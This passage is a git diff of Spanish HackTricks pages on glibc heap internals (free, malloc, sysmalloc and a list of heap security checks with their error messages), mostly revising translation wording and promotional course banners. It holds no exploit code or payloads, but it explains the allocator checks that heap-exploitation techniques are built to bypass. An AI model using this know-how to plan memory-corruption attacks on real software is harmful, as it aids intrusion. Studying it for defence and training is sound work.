* Si el tamaño del chunk es inválido (demasiado grande o pequeño) desencadena: `free(): invalid next size (fast)`
|
||||
* Si el chunk agregado ya estaba en la parte superior del fast bin: `double free or corruption (fasttop)`
|
||||
* Si el chunk añadido ya estaba en la parte superior del fast bin: `double free or corruption (fasttop)`
|
||||
* Si el tamaño del chunk en la parte superior tiene un tamaño diferente al chunk que estamos agregando: `invalid fastbin entry (free)`
|
||||
|
||||
<details>
|
||||
|
@ -278,7 +283,7 @@ malloc_printerr ("invalid fastbin entry (free)");
|
|||
```
|
||||
### Liberación final de \_int\_free <a href="#int_free" id="int_free"></a>
|
||||
|
||||
Si el fragmento aún no ha sido asignado a ningún contenedor, llame a `_int_free_merge_chunk`
|
||||
Si el fragmento aún no ha sido asignado a ningún contenedor, llamar a `_int_free_merge_chunk`
|
||||
```c
|
||||
/*
|
||||
Consolidate other non-mmapped chunks as they arrive.
|
||||
|
@ -373,16 +378,17 @@ _int_free_maybe_consolidate (av, size);
|
|||
```
|
||||
</details>
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Verificaciones de Seguridad de las Funciones del Heap
|
||||
# Verificación de Seguridad de las Funciones del Heap
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## unlink
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, revisa:
|
||||
|
||||
{% content-ref url="unlink.md" %}
|
||||
[unlink.md](unlink.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Este es un resumen de las verificaciones realizadas:
|
||||
Esta es un resumen de las verificaciones realizadas:
|
||||
|
||||
* Verificar si el tamaño indicado del chunk es el mismo que el `prev_size` indicado en el siguiente chunk
|
||||
* Mensaje de error: `corrupted size vs. prev_size`
|
||||
|
@ -33,32 +34,32 @@ Este es un resumen de las verificaciones realizadas:
|
|||
|
||||
## \_int\_malloc
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, revisa:
|
||||
|
||||
{% content-ref url="malloc-and-sysmalloc.md" %}
|
||||
[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Verificaciones durante la búsqueda de fast bin:**
|
||||
* **Verificaciones durante la búsqueda en fast bin:**
|
||||
* Si el chunk está desalineado:
|
||||
* Mensaje de error: `malloc(): unaligned fastbin chunk detected 2`
|
||||
* Si el chunk siguiente está desalineado:
|
||||
* Mensaje de error: `malloc(): unaligned fastbin chunk detected`
|
||||
* Si el chunk devuelto tiene un tamaño incorrecto debido a su índice en el fast bin:
|
||||
* Mensaje de error: `malloc(): memory corruption (fast)`
|
||||
* Si algún chunk utilizado para llenar la tcache está desalineado:
|
||||
* Si algún chunk utilizado para llenar el tcache está desalineado:
|
||||
* Mensaje de error: `malloc(): unaligned fastbin chunk detected 3`
|
||||
* **Verificaciones durante la búsqueda de small bin:**
|
||||
* **Verificaciones durante la búsqueda en small bin:**
|
||||
* Si `victim->bk->fd != victim`:
|
||||
* Mensaje de error: `malloc(): smallbin double linked list corrupted`
|
||||
* **Verificaciones durante la consolidación** realizadas para cada chunk de fast bin: 
|
||||
* **Verificaciones durante la consolidación** realizadas para cada chunk en fast bin: 
|
||||
* Si el chunk está desalineado:
|
||||
* Mensaje de error: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||
* Si el chunk tiene un tamaño diferente al que debería debido al índice en el que se encuentra:
|
||||
* Si el chunk tiene un tamaño diferente al que debería debido a su índice:
|
||||
* Mensaje de error: `malloc_consolidate(): invalid chunk size`
|
||||
* Si el chunk anterior no está en uso y el chunk anterior tiene un tamaño diferente al indicado por prev\_chunk:
|
||||
* Si el chunk anterior no está en uso y tiene un tamaño diferente al indicado por prev\_chunk:
|
||||
* Mensaje de error: `corrupted size vs. prev_size in fastbins`
|
||||
* **Verificaciones durante la búsqueda de unsorted bin**:
|
||||
* **Verificaciones durante la búsqueda en unsorted bin**:
|
||||
* Si el tamaño del chunk es extraño (demasiado pequeño o demasiado grande): 
|
||||
* Mensaje de error: `malloc(): invalid size (unsorted)`
|
||||
* Si el tamaño del chunk siguiente es extraño (demasiado pequeño o demasiado grande):
|
||||
|
@ -74,13 +75,13 @@ Para más información consulta:
|
|||
* Mensaje de error: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||
* Si `fwd->bk->fd != fwd`:
|
||||
* Mensaje de error: `malloc(): largebin double linked list corrupted (bk)`
|
||||
* **Verificaciones durante la búsqueda de large bin (por índice):**
|
||||
* **Verificaciones durante la búsqueda en large bin (por índice):**
|
||||
* `bck->fd-> bk != bck`:
|
||||
* Mensaje de error: `malloc(): corrupted unsorted chunks`
|
||||
* **Verificaciones durante la búsqueda de large bin (siguiente más grande):**
|
||||
* **Verificaciones durante la búsqueda en large bin (siguiente más grande):**
|
||||
* `bck->fd-> bk != bck`:
|
||||
* Mensaje de error: `malloc(): corrupted unsorted chunks2`
|
||||
* **Verificaciones durante el uso de Top chunk:**
|
||||
* **Verificaciones durante el uso del Top chunk:**
|
||||
* `chunksize(av->top) > av->system_mem`:
|
||||
* Mensaje de error: `malloc(): corrupted top size`
|
||||
|
||||
|
@ -104,7 +105,7 @@ Para más información consulta:
|
|||
|
||||
## `_int_free`
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, revisa:
|
||||
|
||||
{% content-ref url="free.md" %}
|
||||
[free.md](free.md)
|
||||
|
@ -120,14 +121,14 @@ Para más información consulta:
|
|||
* Mensaje de error: `free(): too many chunks detected in tcache`
|
||||
* Si la entrada no está alineada:
|
||||
* Mensaje de error: `free(): unaligned chunk detected in tcache 2`
|
||||
* Si el chunk liberado ya fue liberado previamente y está presente como chunk en la tcache:
|
||||
* Si el chunk liberado ya fue liberado previamente y está presente como chunk en el tcache:
|
||||
* Mensaje de error: `free(): double free detected in tcache 2`
|
||||
* **Verificaciones en `_int_free` fast bin:**
|
||||
* Si el tamaño del chunk es inválido (demasiado grande o pequeño) activar:
|
||||
* Si el tamaño del chunk es inválido (demasiado grande o pequeño) desencadenar:
|
||||
* Mensaje de error: `free(): invalid next size (fast)`
|
||||
* Si el chunk añadido ya estaba en la parte superior del fast bin:
|
||||
* Mensaje de error: `double free or corruption (fasttop)`
|
||||
* Si el tamaño del chunk en la parte superior tiene un tamaño diferente al del chunk que estamos añadiendo:
|
||||
* Si el tamaño del chunk en la parte superior tiene un tamaño diferente al chunk que estamos añadiendo:
|
||||
* Mensaje de error: `invalid fastbin entry (free)`
|
||||
## **`_int_free_merge_chunk`**
|
||||
|
||||
|
|
|
@ -1,45 +1,46 @@
|
|||
# malloc & sysmalloc
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Resumen del Orden de Asignación <a href="#libc_malloc" id="libc_malloc"></a>
|
||||
|
||||
(No se explican todas las comprobaciones en este resumen y algunos casos se han omitido por brevedad)
|
||||
|
||||
1. `__libc_malloc` intenta obtener un fragmento de la tcache, si no llama a `_int_malloc`
|
||||
2. `_int_malloc` : 
|
||||
1. Intenta generar el área si no hay ninguna
|
||||
2. Si hay algún fragmento de fast bin del tamaño correcto, úsalo
|
||||
1. Llena la tcache con otros fragmentos rápidos
|
||||
3. Si hay algún fragmento de small bin del tamaño correcto, úsalo
|
||||
1. Llena la tcache con otros fragmentos de ese tamaño
|
||||
4. Si el tamaño solicitado no es para small bins, consolida el fast bin en unsorted bin
|
||||
5. Comprueba el unsorted bin, usa el primer fragmento con suficiente espacio
|
||||
1. Si el fragmento encontrado es más grande, divídelo para devolver una parte y añadir el resto de nuevo al unsorted bin
|
||||
2. Si un fragmento es del mismo tamaño que el solicitado, úsalo para llenar la tcache en lugar de devolverlo (hasta que la tcache esté llena, luego devuelve el siguiente)
|
||||
3. Por cada fragmento de tamaño más pequeño comprobado, colócalo en su respectivo small o large bin
|
||||
6. Comprueba el large bin en el índice del tamaño solicitado
|
||||
1. Comienza a buscar desde el primer fragmento que sea más grande que el tamaño solicitado, si se encuentra alguno, devuélvelo y añade los restos al small bin
|
||||
7. Comprueba los large bins desde los índices siguientes hasta el final
|
||||
1. Desde el siguiente índice más grande, busca cualquier fragmento, divide el primer fragmento encontrado para usarlo en el tamaño solicitado y añadir el resto al unsorted bin
|
||||
8. Si no se encuentra nada en los bins anteriores, obtén un fragmento del chunk superior
|
||||
9. Si el chunk superior no era lo suficientemente grande, agrándalo con `sysmalloc`
|
||||
1. `__libc_malloc` intenta obtener un fragmento de la tcache, si no lo consigue llama a `_int_malloc`
|
||||
2. `_int_malloc`:
|
||||
1. Intenta generar el área si no existe ninguna
|
||||
2. Si hay algún fragmento de fast bin del tamaño correcto, lo utiliza
|
||||
1. Llena la tcache con otros fragmentos rápidos
|
||||
3. Si hay algún fragmento de small bin del tamaño correcto, lo utiliza
|
||||
1. Llena la tcache con otros fragmentos de ese tamaño
|
||||
4. Si el tamaño solicitado no es para small bins, consolida el fast bin en unsorted bin
|
||||
5. Comprueba el unsorted bin, utiliza el primer fragmento con suficiente espacio
|
||||
1. Si el fragmento encontrado es más grande, divídelo para devolver una parte y añadir el resto de nuevo al unsorted bin
|
||||
2. Si un fragmento es del mismo tamaño que el solicitado, úsalo para llenar la tcache en lugar de devolverlo (hasta que la tcache esté llena, luego devuelve el siguiente)
|
||||
3. Por cada fragmento de tamaño más pequeño comprobado, colócalo en su respectivo small o large bin
|
||||
6. Comprueba el large bin en el índice del tamaño solicitado
|
||||
1. Comienza a buscar desde el primer fragmento que sea más grande que el tamaño solicitado, si se encuentra alguno, devuélvelo y añade los restos al small bin
|
||||
7. Comprueba los large bins desde los índices siguientes hasta el final
|
||||
1. Desde el siguiente índice más grande, busca cualquier fragmento, divide el primer fragmento encontrado para usarlo en el tamaño solicitado y añade el resto al unsorted bin
|
||||
8. Si no se encuentra nada en los bins anteriores, obtén un fragmento del chunk superior
|
||||
9. Si el chunk superior no era lo suficientemente grande, agrándalo con `sysmalloc`
|
||||
|
||||
## \_\_libc\_malloc <a href="#libc_malloc" id="libc_malloc"></a>
|
||||
|
||||
La función `malloc` en realidad llama a `__libc_malloc`. Esta función comprobará la tcache para ver si hay algún fragmento disponible del tamaño deseado. Si lo hay, lo usará y si no, comprobará si es un solo hilo y en ese caso llamará a `_int_malloc` en la arena principal, y si no, llamará a `_int_malloc` en la arena del hilo.
|
||||
La función `malloc` en realidad llama a `__libc_malloc`. Esta función comprobará la tcache para ver si hay algún fragmento disponible del tamaño deseado. Si lo hay, lo utilizará y si no, comprobará si es un solo hilo y en ese caso llamará a `_int_malloc` en la arena principal, y si no, llamará a `_int_malloc` en la arena del hilo.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -185,7 +186,7 @@ En el improbable caso de que no haya arenas utilizables, utiliza `sysmalloc` par
|
|||
|
||||
<details>
|
||||
|
||||
<summary>_int_malloc no es arena</summary>
|
||||
<summary>_int_malloc no arena</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6
|
||||
/* There are no usable arenas. Fall back to sysmalloc to get a chunk from
|
||||
|
@ -293,23 +294,23 @@ return p;
|
|||
```
|
||||
</details>
|
||||
|
||||
### Pequeño Bin
|
||||
### Small Bin
|
||||
|
||||
Como se indica en un comentario, los pequeños bins contienen un tamaño por índice, por lo tanto, verificar si hay un fragmento válido disponible es muy rápido, por lo que después de los fast bins, se verifican los pequeños bins.
|
||||
Como se indica en un comentario, los small bins contienen un tamaño por índice, por lo tanto, verificar si hay un fragmento válido disponible es muy rápido, por lo que después de los fast bins, se verifican los small bins.
|
||||
|
||||
La primera verificación es determinar si el tamaño solicitado podría estar dentro de un pequeño bin. En ese caso, se obtiene el **índice** correspondiente dentro del smallbin y se verifica si hay **algún fragmento disponible**.
|
||||
La primera verificación es determinar si el tamaño solicitado podría estar dentro de un small bin. En ese caso, se obtiene el **índice** correspondiente dentro del small bin y se verifica si hay **algún fragmento disponible**.
|
||||
|
||||
Luego, se realiza una verificación de seguridad para comprobar:
|
||||
|
||||
*  si `victim->bk->fd = victim`. Para ver que ambos fragmentos están correctamente enlazados.
|
||||
|
||||
En ese caso, el fragmento **obtiene el bit `inuse`,** la lista doblemente enlazada se corrige para que este fragmento desaparezca de ella (ya que se va a utilizar) y se establece el bit de no ser la arena principal si es necesario.
|
||||
En ese caso, el fragmento **obtiene el bit `inuse`,** la lista doblemente enlazada se corrige para que este fragmento desaparezca de ella (ya que se va a utilizar), y se establece el bit de no ser la arena principal si es necesario.
|
||||
|
||||
Finalmente, **se llena el índice de tcache del tamaño solicitado** con otros fragmentos dentro del pequeño bin (si los hay).
|
||||
Finalmente, **se llena el índice de tcache del tamaño solicitado** con otros fragmentos dentro del small bin (si los hay).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_malloc pequeño bin</summary>
|
||||
<summary>_int_malloc small bin</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
|
||||
|
||||
|
@ -403,7 +404,7 @@ malloc_consolidate (av);
|
|||
|
||||
La función de consolidación de malloc básicamente elimina fragmentos del fast bin y los coloca en el unsorted bin. Después del próximo malloc, estos fragmentos se organizarán en sus respectivos small/fast bins.
|
||||
|
||||
Tenga en cuenta que al eliminar estos fragmentos, si se encuentran con fragmentos anteriores o posteriores que no están en uso, serán **desvinculados y fusionados** antes de colocar el fragmento final en el **unsorted** bin.
|
||||
Ten en cuenta que al eliminar estos fragmentos, si se encuentran con fragmentos anteriores o posteriores que no están en uso, serán **desvinculados y fusionados** antes de colocar el fragmento final en el **unsorted** bin.
|
||||
|
||||
Para cada fragmento del fast bin se realizan un par de comprobaciones de seguridad:
|
||||
|
||||
|
@ -518,7 +519,7 @@ av->top = p;
|
|||
|
||||
### Bin desordenado
|
||||
|
||||
Es hora de revisar el bin desordenado en busca de un posible fragmento válido para usar.
|
||||
Es hora de revisar el bin desordenado en busca de un fragmento válido para usar.
|
||||
|
||||
#### Inicio
|
||||
|
||||
|
@ -527,11 +528,11 @@ Esto comienza con un gran bucle que recorrerá el bin desordenado en la direcci
|
|||
Además, se realizan algunas comprobaciones de seguridad cada vez que se considera un nuevo fragmento:
|
||||
|
||||
* Si el tamaño del fragmento es extraño (demasiado pequeño o demasiado grande): `malloc(): tamaño no válido (desordenado)`
|
||||
* Si el tamaño del siguiente fragmento es extraño (demasiado pequeño o demasiado grande): `malloc(): tamaño siguiente no válido (desordenado)`
|
||||
* Si el tamaño previo indicado por el siguiente fragmento difiere del tamaño del fragmento: `malloc(): tamaño next->prev_size no coincidente (desordenado)`
|
||||
* Si el tamaño del fragmento siguiente es extraño (demasiado pequeño o demasiado grande): `malloc(): tamaño siguiente no válido (desordenado)`
|
||||
* Si el tamaño previo indicado por el fragmento siguiente difiere del tamaño del fragmento: `malloc(): tamaño previo no coincidente (desordenado)`
|
||||
* Si no `victim->bck->fd == victim` o no `victim->fd == av` (arena): `malloc(): lista doble enlazada desordenada`
|
||||
* Como siempre estamos revisando el último, su `fd` debería apuntar siempre a la estructura de arena.
|
||||
* Si el siguiente fragmento no indica que el anterior está en uso: `malloc(): siguiente previo no válido (desordenado)`
|
||||
* Si el fragmento siguiente no indica que el anterior está en uso: `malloc(): previo no válido->prev_inuse (desordenado)`
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -637,16 +638,16 @@ return p;
|
|||
|
||||
Si esto fue exitoso, devuelve el fragmento y se acabó, si no, continúa ejecutando la función...
|
||||
|
||||
#### si el tamaño es igual
|
||||
#### si es de igual tamaño
|
||||
|
||||
Continúa eliminando el fragmento del bin, en caso de que el tamaño solicitado sea exactamente el del fragmento:
|
||||
|
||||
* Si el tcache no está lleno, agrégalo al tcache y continúa indicando que hay un fragmento de tcache que podría ser utilizado
|
||||
* Si el tcache no está lleno, agréguelo al tcache y continúe indicando que hay un fragmento de tcache que podría ser utilizado
|
||||
* Si el tcache está lleno, simplemente úsalo devolviéndolo
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>_int_malloc</code> fragmento no ordenado de tamaño igual</summary>
|
||||
<summary><code>_int_malloc</code> fragmento no ordenado de igual tamaño</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14
|
||||
|
||||
|
@ -686,13 +687,13 @@ return p;
|
|||
```
|
||||
</details>
|
||||
|
||||
Si el fragmento no se devuelve o se agrega a la tcache, continúe con el código...
|
||||
Si el fragmento no se devuelve o se agrega al tcache, continúe con el código...
|
||||
|
||||
#### colocar fragmento en un contenedor
|
||||
|
||||
Almacene el fragmento verificado en el contenedor pequeño o en el contenedor grande según el tamaño del fragmento (manteniendo el contenedor grande organizado correctamente).
|
||||
|
||||
Se realizan comprobaciones de seguridad para asegurarse de que ambas listas doblemente enlazadas de contenedores grandes no estén corruptas:
|
||||
Se realizan controles de seguridad para asegurarse de que ambas listas doblemente enlazadas de contenedores grandes no estén corruptas:
|
||||
|
||||
* Si `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): lista doblemente enlazada de contenedores grandes corrupta (nextsize)`
|
||||
* Si `fwd->bk->fd != fwd`: `malloc(): lista doblemente enlazada de contenedores grandes corrupta (bk)`
|
||||
|
@ -777,7 +778,7 @@ En este punto, si algún fragmento estaba almacenado en la tcache y se puede usa
|
|||
|
||||
Además, si se alcanza **MAX\_ITERS**, sal del bucle y obtén un fragmento de una manera diferente (fragmento superior).
|
||||
|
||||
Si se estableció `return_cached`, simplemente devuelve un fragmento de la tcache para evitar búsquedas más largas.
|
||||
Si `return_cached` estaba configurado, simplemente devuelve un fragmento de la tcache para evitar búsquedas más largas.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -1025,9 +1026,9 @@ return p;
|
|||
```
|
||||
</details>
|
||||
|
||||
### Trozo superior
|
||||
### Trozo Superior
|
||||
|
||||
En este punto, es hora de obtener un nuevo trozo del trozo superior (si es lo suficientemente grande).
|
||||
En este punto, es hora de obtener un nuevo trozo del Trozo Superior (si es lo suficientemente grande).
|
||||
|
||||
Comienza con una verificación de seguridad para asegurarse de que el tamaño del trozo no sea demasiado grande (corrupto):
|
||||
|
||||
|
@ -1035,11 +1036,11 @@ Comienza con una verificación de seguridad para asegurarse de que el tamaño de
|
|||
|
||||
Luego, utilizará el espacio del trozo superior si es lo suficientemente grande para crear un trozo del tamaño solicitado.\
|
||||
Si no es así, si hay trozos rápidos, los consolidará e intentará nuevamente.\
|
||||
Finalmente, si no hay suficiente espacio, utilizará `sysmalloc` para asignar el tamaño suficiente.
|
||||
Finalmente, si no hay suficiente espacio, se utiliza `sysmalloc` para asignar el tamaño suficiente.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>_int_malloc</code> Trozo superior</summary>
|
||||
<summary><code>_int_malloc</code> Trozo Superior</summary>
|
||||
```c
|
||||
use_top:
|
||||
/*
|
||||
|
@ -1110,11 +1111,7 @@ return p;
|
|||
|
||||
### Inicio de sysmalloc
|
||||
|
||||
Si la arena es nula o el tamaño solicitado es demasiado grande (y aún quedan mmaps permitidos), se utiliza `sysmalloc_mmap` para asignar espacio y devolverlo.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Inicio de sysmalloc</summary>
|
||||
Si la arena es nula o el tamaño solicitado es demasiado grande (y aún quedan mmaps permitidos), utiliza `sysmalloc_mmap` para asignar espacio y devolverlo.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2531
|
||||
|
||||
|
@ -1293,7 +1290,7 @@ return mm;
|
|||
|
||||
### sysmalloc main arena
|
||||
|
||||
Comienza calculando la cantidad de memoria necesaria. Comenzará solicitando memoria contigua para que, en este caso, sea posible utilizar la memoria antigua no utilizada. También se realizan algunas operaciones de alineación.
|
||||
Comienza calculando la cantidad de memoria necesaria. Comenzará solicitando memoria contigua para poder utilizar la memoria antigua no utilizada. También se realizan algunas operaciones de alineación.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -1351,7 +1348,7 @@ madvise_thp (brk, size);
|
|||
LIBC_PROBE (memory_sbrk_more, 2, brk, size);
|
||||
}
|
||||
```
|
||||
### Error anterior 1 de la arena principal de sysmalloc
|
||||
### Error anterior en la arena principal de `sysmalloc` 1
|
||||
|
||||
Si el error anterior devolvió `MORECORE_FAILURE`, intenta nuevamente asignar memoria usando `sysmalloc_mmap_fallback`
|
||||
```c
|
||||
|
@ -1392,7 +1389,7 @@ Si lo anterior no devolvió `MORECORE_FAILURE`, si funcionó, crear algunos alin
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Error anterior 2 de la arena principal de sysmalloc</summary>
|
||||
<summary>Error anterior de la arena principal de sysmalloc 2</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
|
||||
|
||||
|
@ -1579,7 +1576,7 @@ _int_free (av, old_top, 1);
|
|||
|
||||
### sysmalloc final
|
||||
|
||||
Finaliza la asignación actualizando la información del arena
|
||||
Finaliza la asignación actualizando la información del área.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12
|
||||
|
||||
|
@ -1701,16 +1698,17 @@ return chunk2mem (p);
|
|||
```
|
||||
</details>
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
